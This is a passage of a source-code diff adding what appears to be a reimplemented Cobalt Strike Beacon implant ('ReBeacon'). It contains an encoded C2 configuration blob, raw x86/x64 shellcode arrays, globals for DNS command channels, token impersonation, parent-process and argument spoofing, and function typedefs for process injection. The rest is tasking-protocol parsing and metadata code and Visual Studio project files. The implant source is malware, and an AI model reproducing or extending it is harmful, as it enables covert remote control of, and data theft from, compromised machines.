0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x1B, 0x2E, 0x2D, 0x2E, 0x3E, 0x9C, 0x5D, 0x41, 0x32, + 0x95, 0x87, 0x23, 0x6C, 0x06, 0x41, 0xEA, 0x05, 0xD5, 0x89, 0x61, 0x63, + 0x2E, 0x1D, 0x2E, 0x2D, 0x2E, 0xAE, 0x2F, 0x2C, 0x2D, 0x2A, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x1A, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x2E, + 0x7B, 0x39, 0xF6, 0xED, 0x5F, 0x0C, 0x61, 0x97, 0xDE, 0xCA, 0xF1, 0xD2, + 0x18, 0x90, 0x91, 0x8E, 0xCE, 0xC5, 0x0C, 0x02, 0xC5, 0xF4, 0x39, 0x67, + 0x56, 0x24, 0xA3, 0x67, 0xA5, 0xBF, 0xC0, 0x65, 0x33, 0xF1, 0x86, 0xA2, + 0x61, 0x54, 0xEA, 0xBF, 0x56, 0xDD, 0x77, 0xBE, 0xF1, 0x37, 0x83, 0x21, + 0x77, 0xB3, 0x3A, 0x19, 0xFE, 0xCD, 0xE2, 0xDB, 0x12, 0xFC, 0xB3, 0xA3, + 0xEB, 0xD0, 0x12, 0x31, 0xE8, 0x6B, 0xC6, 0x29, 0xCC, 0x3E, 0xB2, 0xEF, + 0xEB, 0xF6, 0xEC, 0x16, 0x52, 0xB1, 0x64, 0x21, 0x45, 0xC3, 0x4B, 0x07, + 0x0E, 0x25, 0x09, 0x71, 0xF0, 0x58, 0x6F, 0x58, 0x5D, 0x57, 0x32, 0xC4, + 0x75, 0xF3, 0xA6, 0x15, 0x5E, 0x0E, 0xF1, 0x96, 0x5F, 0xCB, 0xE6, 0x32, + 0x21, 0xDD, 0x5D, 0x36, 0x07, 0x2E, 0xB6, 0x78, 0x4B, 0x9B, 0x7E, 0x71, + 0x38, 0xBD, 0x3A, 0x79, 0x82, 0xA0, 0x47, 0x17, 0xB4, 0x1C, 0x43, 0x67, + 0xCA, 0x77, 0xDC, 0xB3, 0xC2, 0x6B, 0xFD, 0xE5, 0xCC, 0xE7, 0x84, 0xE1, + 0xB2, 0x45, 0x3A, 0x90, 0x27, 0x2A, 0x90, 0x53, 0x82, 0x28, 0xD0, 0x4B, + 0x27, 0x03, 0x0E, 0x9A, 0x59, 0xC1, 0x0E, 0x2C, 0x65, 0xBB, 0x46, 0xC7, + 0xD4, 0x06, 0x64, 0xB9, 0xD0, 0x60, 0x48, 0x77, 0x6C, 0x2C, 0x68, 0xC5, + 0xF3, 0x23, 0x84, 0x63, 0xD0, 0x2A, 0x6D, 0xA3, 0x08, 0xFF, 0xC2, 0xDE, + 0xB9, 0xE3, 0x8D, 0x69, 0x79, 0x3C, 0x65, 0x74, 0x1D, 0x18, 0x63, 0xDB, + 0x9C, 0xB9, 0x14, 0xA0, 0xA4, 0x43, 0x3E, 0x2D, 0xBB, 0x89, 0xFC, 0x22, + 0x50, 0x5D, 0xB0, 0xA3, 0x0A, 0xEC, 0x28, 0x39, 0xF8, 0x76, 0x9E, 0x4C, + 0xF1, 0x66, 0xD7, 0x0B, 0xAC, 0x7A, 0x7C, 0x00, 0x3C, 0x06, 0xE4, 0xA5, + 0x77, 0xB6, 0x9E, 0xB3, 0x64, 0x92, 0x9A, 0x1B, 0x1C, 0xB6, 0x5B, 0x21, + 0x04, 0x70, 0x4B, 0x4A, 0xEC, 0xAF, 0x06, 0xBE, 0x73, 0x67, 0x2C, 0xE7, + 0x89, 0xEE, 0x48, 0xA2, 0x5B, 0xA9, 0x9D, 0x25, 0xA6, 0xC7, 0x61, 0x0D, + 0xD8, 0x1B, 0xE5, 0x30, 0x1D, 0x36, 0xAA, 0x65, 0xF1, 0x58, 0x8C, 0x0D, + 0x33, 0x2E, 0xBC, 0x79, 0x40, 0x83, 0xB7, 0x46, 0x9B, 0x5D, 0x22, 0x8E, + 0xD9, 0xCA, 0xC2, 0x33, 0x4D, 0x60, 0xFA, 0x0E, 0xD5, 0x5B, 0xBC, 0x80, + 0x00, 0x68, 0xB7, 0xCA, 0xDC, 0x93, 0x35, 0xFA, 0x70, 0xAB, 0xE2, 0x80, + 0x78, 0x36, 0xA4, 0x68, 0xBA, 0xF7, 0xC3, 0xDD, 0xDB, 0xE5, 0x11, 0x4E, + 0x05, 0x3B, 0x99, 0x5F, 0xB3, 0x73, 0x7C, 0x8C, 0xC8, 0xEE, 0x6E, 0x4B, + 0xBD, 0x6F, 0x0B, 0x69, 0x1F, 0x91, 0x45, 0xA4, 0x57, 0x69, 0xE9, 0x4D, + 0xAE, 0xF9, 0xCF, 0x9B, 0xBD, 0xC6, 0xF8, 0xBE, 0xBB, 0xB9, 0xC2, 0x04, + 0xAD, 0xC8, 0xDE, 0xCD, 0x9E, 0x4F, 0x5E, 0xBB, 0xD9, 0xD6, 0x70, 0x13, + 0xDD, 0x07, 0x71, 0x13, 0xCD, 0x9C, 0x2F, 0x3E, 0xA6, 0x0C, 0xD4, 0x5E, + 0x17, 0xF2, 0x21, 0x48, 0x64, 0x9B, 0x08, 0xC4, 0x14, 0x65, 0x61, 0xDF, + 0xDB, 0x54, 0xBB, 0xAB, 0xF9, 0x4E, 0x51, 0xB1, 0x18, 0x9D, 0xFF, 0xDB, + 0xEF, 0x93, 0xF3, 0xE0, 0x3E, 0xC8, 0xBB, 0xDF, 0x3C, 0x0C, 0x2D, 0xC4, + 0x4B, 0x30, 0xD2, 0xA5, 0x9C, 0x91, 0xDD, 0x4B, 0x9D, 0x48, 0xB5, 0x93, + 0xDF, 0x09, 0x0B, 0xE8 +}; + + + +int g_dwMilliseconds = 0; +int g_jitter = 0; + +//dnsЩѾ +DWORD init_WSA; +DWORD dns_sleep; +DWORD dns_idle; +char* dns_get_A; +char* dns_get_AAAA; +char* dns_get_TXT; +char* dns_Listeneroptions_dnsresolver; + +//ϵͳ汾 +DWORD g_dwMajorVersion; + +char g_Encryption_Metadata[0x400]; +int g_Encryption_Metadata_size; + +/*beaconԪݵijʼй*/ +int MetadataNumber = 1; + +int g_BeaconStart=0; + +//post url +char g_post_url[3296]; + +size_t g_withdatasize; + +int gBeaconBlockDLL; + +//ƭ +DWORD gBeaconPPID; + +//beacontoken +int Create_token_Flag; + +LPCWSTR lpWideCharStr; +LPCWSTR lpDomain; +LPCWSTR lpPassword; + +BeaconSpoofArgs* gBeaconParameterSpoofing; + +int download_number=0; +BeaconDownload* gBeaconDownload; + +char* spawntoPath_x64; +char* spawntoPath_x86; + +unsigned char sub_10033020[76] = { + 0x55, 0x89, 0xE5, 0x56, 0x57, 0x8B, 0x75, 0x08, 0x8B, 0x4D, 0x0C, 0xE8, + 0x00, 0x00, 0x00, 0x00, 0x58, 0x83, 0xC0, 0x25, 0x83, 0xEC, 0x08, 0x89, + 0xE2, 0xC7, 0x42, 0x04, 0x33, 0x00, 0x00, 0x00, 0x89, 0x02, 0xE8, 0x09, + 0x00, 0x00, 0x00, 0x83, 0xC4, 0x14, 0x5F, 0x5E, 0x5D, 0xC2, 0x08, 0x00, + 0x8B, 0x3C, 0x24, 0xFF, 0x2A, 0x48, 0x31, 0xC0, 0x57, 0xFF, 0xD6, 0x5F, + 0x50, 0xC7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00, 0x00, 0x89, 0x3C, 0x24, + 0xFF, 0x2C, 0x24, 0x00 +}; + +unsigned char sub_10033070[297] = { + 0xFC, 0x48, 0x89, 0xCE, 0x48, 0x89, 0xE7, 0x48, 0x83, 0xE4, 0xF0, 0xE8, + 0xC8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, + 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, + 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, + 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, + 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, + 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x66, + 0x81, 0x78, 0x18, 0x0B, 0x02, 0x75, 0x72, 0x8B, 0x80, 0x88, 0x00, 0x00, + 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, + 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, + 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, + 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, + 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, + 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, + 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, + 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, + 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, + 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x4F, 0xFF, 0xFF, 0xFF, + 0x5D, 0x4D, 0x31, 0xC9, 0x41, 0x51, 0x48, 0x8D, 0x46, 0x18, 0x50, 0xFF, + 0x76, 0x10, 0xFF, 0x76, 0x08, 0x41, 0x51, 0x41, 0x51, 0x49, 0xB8, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xD2, 0x48, 0x8B, + 0x0E, 0x41, 0xBA, 0xC8, 0x38, 0xA4, 0x40, 0xFF, 0xD5, 0x48, 0x85, 0xC0, + 0x74, 0x0C, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xEB, 0x0A, 0x48, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x83, 0xC4, 0x50, 0x48, 0x89, 0xFC, 0xC3, 0x00 +}; diff --git a/ReBeacon_Src/Global.h b/ReBeacon_Src/Global.h new file mode 100644 index 0000000..e21f7ad --- /dev/null +++ b/ReBeacon_Src/Global.h @@ -0,0 +1,194 @@ +#pragma once +//#include "veil.h" +#include +#include +#ifdef _MSC_VER +#pragma warning(disable:4005) +#endif + +typedef DWORD uint32; +typedef unsigned __int64 uint64; +#define __PAIR64__(high, low) (((uint64) (high) << 32) | (uint32)(low)) + +#define LAST_IND(x,part_type) (sizeof(x)/sizeof(part_type) - 1) +#if defined(__BYTE_ORDER) && __BYTE_ORDER == __BIG_ENDIAN +# define LOW_IND(x,part_type) LAST_IND(x,part_type) +# define HIGH_IND(x,part_type) 0 +#else +# define HIGH_IND(x,part_type) LAST_IND(x,part_type) +# define LOW_IND(x,part_type) 0 +#endif +#define DWORDn(x, n) (*((DWORD*)&(x)+n)) +#define HIDWORD(x) DWORDn(x,HIGH_IND(x,DWORD)) + +#include +#pragma warning(disable : 4200) +typedef struct +{ + int id; /*id*/ + int length; /**/ + char data[]; /*data*/ +} BeaconTask; + +typedef struct +{ + char* path; /*·*/ + int path_size; /*·*/ + STARTUPINFOA* pSTARTUPINFOA; + PROCESS_INFORMATION* pPROCESS_INFORMATION; + DWORD dwCreationFlags; + BOOL ignoreToken; +} BeaconStartProcess; + +struct BeaconSpoofArgs{ + BOOL state; + char cmd1[8192]; + char cmd2[8192]; + BeaconSpoofArgs* Linked; +}; + +typedef struct +{ + char* cmd2; + char* cmd; + int field_8; +} BeaconParameterSpoofing; + +extern BeaconSpoofArgs* gBeaconParameterSpoofing; + + +struct BeaconCreateprocess +{ + HANDLE process; + + void* data; + int data_size; + int SetErrorMode_value; + int(__cdecl* ProcessSettings)(BeaconCreateprocess* pBeaconCreateprocess, DWORD dwProcessId, LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, STARTUPINFOA* psi); + void(__cdecl* func2)(BeaconCreateprocess*); +}; + +struct BeaconDownload +{ + DWORD number; + DWORD size; + FILE* fp; + BeaconDownload* Linked; +}; +extern int download_number; +extern BeaconDownload* gBeaconDownload; + +typedef struct +{ + HANDLE hProcess; + HANDLE hThread; + DWORD Process_PID; + BOOL is_process_arch; + BOOL Flag_FALSE; + BOOL is_system_process; + BOOL is_Process_self; + BOOL ishThread; +}BeaconProcessInject; + +#include "macro.h" +/*Beacon dllػַ*/ +extern HINSTANCE Beacon_Dllbase; + +/*Beacon C2Ϣ*/ +extern char* CsC2Config; + +extern unsigned char rawData[4096]; + + +extern int g_dwMilliseconds; +extern int g_jitter; + +//dnsЩӦѾ +extern DWORD init_WSA; +extern DWORD dns_sleep; +extern DWORD dns_idle; +extern char* dns_get_A; +extern char* dns_get_AAAA; +extern char* dns_get_TXT; +extern char* dns_Listeneroptions_dnsresolver; + +//ϵͳ汾 +extern DWORD g_dwMajorVersion; + +extern char g_Encryption_Metadata[0x400]; +extern int g_Encryption_Metadata_size; + +/*beaconԪݵijʼй*/ +extern int MetadataNumber; + +extern int g_BeaconStart; + + +extern char g_post_url[3296]; + +extern size_t g_withdatasize; + +extern DWORD gBeaconPPID; + +extern int Create_token_Flag; + +extern LPCWSTR lpWideCharStr; +extern LPCWSTR lpDomain; +extern LPCWSTR lpPassword; + +extern char* spawntoPath_x64; +extern char* spawntoPath_x86; + +extern int gBeaconBlockDLL; + +//shellcode x86 +extern unsigned char sub_10033020[76]; + +//shellcode x86 +extern unsigned char sub_10033070[297]; + +//̨߳ +extern int BackgroundThreadsNumber; + +extern PVOID lpStartAddress; + +typedef NTSTATUS(NTAPI* NtMapViewOfSection_t)( + HANDLE sectionHandle, + HANDLE processHandle, + PVOID* baseAddress, + ULONG_PTR zeroBits, + SIZE_T commitSize, + PLARGE_INTEGER sectionOffset, + PSIZE_T viewSize, + ULONG inheritDisposition, + ULONG allocationType, + ULONG win32Protect); + + +typedef NTSTATUS(WINAPI* RtlCreateUserThread_t)( + IN HANDLE ProcessHandle, + IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, + IN BOOLEAN CreateSuspended, + IN ULONG StackZeroBits, + IN OUT PULONG StackReserved, + IN OUT PULONG StackCommit, + IN PVOID StartAddress, + IN PVOID StartParameter OPTIONAL, + OUT PHANDLE ThreadHandle, + OUT CLIENT_ID* ClientID); + +typedef NTSTATUS(WINAPI* NtQueueApcThread_t)( + HANDLE ThreadHandle, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcRoutineContext OPTIONAL, + PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, + ULONG ApcReserved OPTIONAL); + +typedef HANDLE(WINAPI* CreateThread_t) ( + LPSECURITY_ATTRIBUTES lpThreadAttributes, + SIZE_T dwStackSize, + LPTHREAD_START_ROUTINE lpStartAddress, + __drv_aliasesMem LPVOID lpParameter, + DWORD dwCreationFlags, + LPDWORD lpThreadId +); \ No newline at end of file diff --git a/ReBeacon_Src/ReBeacon_Src.vcxproj b/ReBeacon_Src/ReBeacon_Src.vcxproj new file mode 100644 index 0000000..5ffa5e7 --- /dev/null +++ b/ReBeacon_Src/ReBeacon_Src.vcxproj @@ -0,0 +1,192 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16.0 + Win32Proj + {8ea564da-e4a0-42d4-ad1b-e9847b5aa976} + ReBeaconSrc + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + MultiByte + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + true + + + false + ../lib;$(LibraryPath) + + + true + + + false + ../lib;$(LibraryPath) + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + false + LTM_DESC;WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + ../include;%(AdditionalIncludeDirectories) + MultiThreaded + 4005;4996;6387;28159;4018 + Disabled + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + false + LTM_DESC;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + 4005;4996;6387;28159;4018 + MultiThreaded + ../include;%(AdditionalIncludeDirectories) + Disabled + + + Console + true + true + true + + + + + + \ No newline at end of file diff --git a/ReBeacon_Src/ReBeacon_Src.vcxproj.filters b/ReBeacon_Src/ReBeacon_Src.vcxproj.filters new file mode 100644 index 0000000..48098d7 --- /dev/null +++ b/ReBeacon_Src/ReBeacon_Src.vcxproj.filters @@ -0,0 +1,123 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + \ No newline at end of file diff --git a/ReBeacon_Src/ReBeacon_Src.vcxproj.user b/ReBeacon_Src/ReBeacon_Src.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/ReBeacon_Src/ReBeacon_Src.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/ReBeacon_Src/Utils.cpp b/ReBeacon_Src/Utils.cpp new file mode 100644 index 0000000..fa857a0 --- /dev/null +++ b/ReBeacon_Src/Utils.cpp @@ -0,0 +1,364 @@ +#include "Utils.h" +#include "Global.h" +#include "macro.h" + +void BeaconDataParse(datap* parser, char* buffer, int size) +{ + parser->original = buffer; + parser->buffer = buffer; + parser->length = size; + parser->size = size; +} +void BeaconDataFree(datap* parser) +{ + free(parser->original); + free(parser); +} + +void BeaconDataClear(datap* parser) +{ + memset(parser->original, 0, parser->size); +} +char* BeaconDataPtr(datap* parser, int size) +{ + char* result = 0; + if (parser->length < size) + { + return 0; + } + result = parser->buffer; + parser->buffer += size; + parser->length -= size; + return result; +} + +int BeaconDataInt(datap* parser) +{ + int result; + if (parser->length < sizeof(int)) + { + return 0; + } + result = ntohl(*(u_long*)parser->buffer); + parser->buffer += sizeof(int); + parser->length += sizeof(int); + return result; +} + +short BeaconDataShort(datap* parser) +{ + short result; + + if (parser->length < sizeof(short)) + { + return 0; + } + result = ntohs(*(u_short*)parser->buffer); + parser->buffer += sizeof(short); + parser->length -= sizeof(short); + return result; +} + +int BeaconDataLength(datap* parser) +{ + return parser->length; +} + + +int BeaconDataCopyToBuffer(datap* parser, char* buffer,int buffer_size) +{ + int copy_size = BeaconDataInt(parser); + if (!copy_size) + { + return 0; + } + if (copy_size + 1 > buffer_size) + { + return 0; + } + char* data = BeaconDataPtr(parser, copy_size); + if (!data) + { + return 0; + } + memcpy(buffer, data, copy_size); + buffer[copy_size] = 0; + return copy_size + 1; +} + +void BeaconDataCopyNToBuffer(datap* parser, char* buffer, int buffer_size) +{ + int length = parser->length; + if (length + 1 < buffer_size) + { + memcpy(buffer, parser->buffer, parser->length); + buffer[length] = 0; + } +} + + + +char* BeaconDataPtr2(datap* parser) +{ + int size = BeaconDataInt(parser); + if (size) + { + return BeaconDataPtr(parser, size); + } + return 0; +} + +char* BeaconDataPtr3(datap* parser, int* outsize) +{ + int size = BeaconDataInt(parser); + if (size) + { + *outsize = size; + return BeaconDataPtr(parser, size); + + } + return 0; +} +char* BeaconDataExtract(datap* parser, int* outsize) +{ + int size = 0; + char* data = BeaconDataPtr3(parser, &size); + if (outsize) + { + *outsize = size; + } + return size != 0 ? data : 0; +} + +datap* BeaconDataInit(int size) +{ + char* pdata; + datap* pdatap; + + pdatap = (datap*)malloc(sizeof(datap)); + if (!pdatap) + { + return 0; + } + pdata = (char*)malloc(size); + if (!pdata) + { + return 0; + } + memset(pdata, 0, size); + BeaconDataParse(pdatap, pdata, size); + return pdatap; +} + +char BeaconDataByte(datap* parser) +{ + if (!parser->length) + { + return 0; + } + char* ret = parser->buffer; + parser->buffer += 1; + parser->length -= 1; + return *ret; +} + +char* BeaconDataBuffer(datap* parser) +{ + return parser->buffer; +} + +void BeaconDataClearFree(datap* parser) +{ + BeaconDataClear(parser); + BeaconDataFree(parser); +} + +void BeaconFormatInit(formatp* format, char* buff, int buffsize) +{ + format->length = 0; + format->original = buff; + format->buffer = buff; + format->size = buffsize; + memset(buff, 0, buffsize); +} + +void BeaconFormatAlloc(formatp* format, int maxsz) +{ + char* buff = (char*)malloc(maxsz); + return BeaconFormatInit(format, buff, maxsz); +} + +void BeaconFormatReset(formatp* format) +{ + format->buffer = format->original; + format->length = 0; +} + +void BeaconFormatFree(formatp* format) +{ + memset(format->original, 0, format->size); + free(format->original); +} + +void BeaconFormatAppend(formatp* format, char* text, int len) +{ + if (len < format->size - format->length) + { + if (len) + { + memcpy(format->buffer, text, len); + format->buffer += len; + format->length += len; + } + } +} +void BeaconFormatPrintf(formatp* format, char* fmt, ...) +{ + va_list ArgList; + va_start(ArgList, fmt); + int v2 = vprintf(fmt, ArgList); + if (v2 > 0) + { + int size = format->size - format->length; + if (v2 < size) + { + int v4 = vsprintf_s(format->buffer, size, fmt, ArgList); + format->buffer += v4; + format->length += v4; + } + } +} +char* BeaconFormatToString(formatp* format, int* size) +{ + if (!size) + { + return 0; + } + int length = BeaconFormatlength(format); + *size = length; + return BeaconFormatOriginalPtr(format); +} +void BeaconFormatInt(formatp* format, int value) +{ + value = htonl(value); + BeaconFormatAppend(format, (char*)&value, 4); +} + +int BeaconFormatlength(formatp* format) +{ + return format->length; +} +char* BeaconFormatOriginalPtr(formatp* format) +{ + return format->original; +} + + +void GetParseConfig(beaconconfig* pbeaconconfig, int id) +{ + pbeaconconfig->data = CsC2Config + index_size * id + sizeof(size_t); + pbeaconconfig->data_type = *(short*)(CsC2Config + index_size * id); + +} + + +char* get_str(int id) +{ + beaconconfig pbeaconconfig; + GetParseConfig(&pbeaconconfig, id); + if (pbeaconconfig.data_type == 3) + { + return (char*)*(ULONG_PTR*)pbeaconconfig.data; + } + return 0; +} +short get_short(int id) +{ + beaconconfig pbeaconconfig; + GetParseConfig(&pbeaconconfig, id); + if (pbeaconconfig.data_type == 1) + { + return *(WORD*)pbeaconconfig.data; + } + return 0; +} +int get_dword(int id) +{ + beaconconfig pbeaconconfig; + GetParseConfig(&pbeaconconfig, id); + if (pbeaconconfig.data_type == 2) + { + return *(DWORD*)pbeaconconfig.data; + } + return 0; +} + +int get_str_config_len(int id) +{ + return strlen(get_str(id)); +} + +/// +/// ʼԪݽṹ +/// +/// +/// +/// +void BeaconMetadataInit(beaconmetadata* pmetadata, char* data, int data_size) +{ + DWORD number = htonl(MetadataNumber); + u_long reserve = htonl(0); + + ++MetadataNumber; + DWORD* pdata = (DWORD*)data; + pdata[0] = number; + pdata[1] = reserve; + + pmetadata->data = data; + pmetadata->data_size = data_size; + + pmetadata->length = 8; +} + +/// +/// NֽڵԪ +/// +/// +/// +/// +void BeaconMetadataPush_N(size_t size, beaconmetadata* pmetadata, void* data) +{ + + DWORD new_length = pmetadata->length + size; + if ((signed int)(pmetadata->length + size) <= pmetadata->data_size) + { + memcpy(pmetadata->data + pmetadata->length, data, size); + pmetadata->length = new_length; + ((DWORD*)pmetadata->data)[1] = ntohl(new_length - 8); + } +} + +void BeaconMetadataPush_4(int data, beaconmetadata* pmetadata) +{ + data = htonl(data); + BeaconMetadataPush_N(4, pmetadata, &data); +} +void BeaconMetadataPush_2(short data, beaconmetadata* pmetadata) +{ + data = htons(data); + BeaconMetadataPush_N(2, pmetadata, &data); +} +void BeaconMetadataPush_1(char data, beaconmetadata* pmetadata) +{ + BeaconMetadataPush_N(1, pmetadata, &data); +} + +DWORD BeaconMetadataLength(beaconmetadata* pmetadata) +{ + *(DWORD*)pmetadata->data = htonl(48879); + return pmetadata->length; +} +DWORD BeaconMetadataDataLength(beaconmetadata* pmetadata) +{ + return pmetadata->length; +} \ No newline at end of file diff --git a/ReBeacon_Src/Utils.h b/ReBeacon_Src/Utils.h new file mode 100644 index 0000000..a817f6c --- /dev/null +++ b/ReBeacon_Src/Utils.h @@ -0,0 +1,76 @@ +#pragma once +#include "Global.h" + +typedef struct { + char* original; /* ԭʼ [ǿͷ] */ + char* buffer; /* ָǰλ */ + int length; /* ʣݳ */ + int size; /* ˻ܴС */ +} datap; + +void BeaconDataParse(datap* parser, char* buffer, int size); +char* BeaconDataPtr(datap* parser, int size); +int BeaconDataInt(datap* parser); +short BeaconDataShort(datap* parser); +int BeaconDataLength(datap* parser); +char* BeaconDataExtract(datap* parser, int* size); +datap* BeaconDataInit(int size); +void BeaconDataFree(datap* parser); +void BeaconDataClear(datap* parser); +int BeaconDataCopyToBuffer(datap* parser, char* buffer, int buffer_size); +char BeaconDataByte(datap* parser); +char* BeaconDataPtr2(datap* parser); +char* BeaconDataBuffer(datap* parser); +void BeaconDataCopyNToBuffer(datap* parser, char* buffer, int buffer_size); +char* BeaconDataPtr3(datap* parser, int* outsize); +char* BeaconDataExtract(datap* parser, int* outsize); + +/* format API */ +typedef struct { + char* original; /* the original buffer [so we can free it] */ + char* buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +void BeaconFormatAlloc(formatp* format, int maxsz); +void BeaconFormatReset(formatp* format); +void BeaconFormatFree(formatp* format); +void BeaconFormatAppend(formatp* format, char* text, int len); +void BeaconFormatPrintf(formatp* format, char* fmt, ...); +char* BeaconFormatToString(formatp* format, int* size); +void BeaconFormatInt(formatp* format, int 